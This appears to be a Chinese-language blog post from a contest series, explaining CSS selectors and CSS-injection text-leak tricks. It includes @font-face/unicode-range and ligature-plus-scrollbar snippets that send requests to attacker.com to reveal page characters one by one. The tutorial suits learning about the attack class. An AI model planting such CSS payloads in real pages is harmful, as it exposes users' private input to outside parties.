今天我們來聊聊其他幾個 CSS selector 的妙用與進階的文字洩漏技巧。CSS 真的是個被低估的攻擊面啊 XD
:nth-child(n)
選取在 DOM 結構中,第 n 個子元素 且符合條件的項目。
範例語法:
.class-name:nth-child(3)
意思是:選取 .class-name 且是其父元素的第 3 個子節點的元素。
:empty
用來選取內部沒有任何子元素或文字內容的元素。
常搭配攻擊中用來找出「還沒填內容的輸入框」、「尚未渲染的節點」等。
@font-face
+ unicode-range
:隱形探測用戶資料
這個技巧非常聰明:我們可以為特定的 Unicode 字元指定字體,瀏覽器只有在頁面中包含對應字元時才會載入該字體。
@font-face {
font-family: leakFont;
src: url(http://attacker.com/?A); /* 如果頁面含有 A,這段會觸發 */
unicode-range: U+0041; /* A 的 Unicode 編碼 */
}
<p id="secret">AB</p>
如果頁面中出現字元 A,瀏覽器就會下載對應的字體檔案,也就會觸發外部請求。這樣我們就能透過觀察是否有 request 被送出來,間接判斷目標文字的內容。
這招超有創意!核心是:結合字體的連字設計(ligature)與可視化寬度差異,來偷偷測出文字內容。
製作一組自定義字體,將特定字元組合(如 AB)設為極寬的 glyph:
<glyph unicode="AB" horiz-adv-x="9000" d="M1 0z"/>
如果頁面出現 AB,這個組合就會被渲染,整段文字會超寬。
搭配 CSS white-space: nowrap 讓它不換行,產生水平 scroll bar。
然後用 scroll bar 的樣式偷偷送出資料:
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
設定 body { white-space: nowrap },讓文字不自動換行
若渲染了寬度超大的文字(AB、XYZ 等組合),就會觸發 scroll bar
透過 ::-webkit-scrollbar 搭配 background 載入外部資源
當字體觸發時就送出 request,攻擊者就能知道:AB 存在!
然後你就可以用這種方式一個字一個字猜出使用者輸入的文字
條件 | 說明 |
---|---|
瀏覽器需支援自定義字體連字與 unicode-range | 大部分支援,如 Chrome |
沒有 CSP 或允許外部字體/圖片 | 否則載入會被阻擋 |
滲透頁面允許字體注入 | 例如 style 標籤或 link 外部 CSS |
沒想到比賽也來到三分之一了,真的是場耐力賽~
但我感覺越寫越有興趣,好像可以藉此檢視自己的思考跟想法~ 順便整理筆記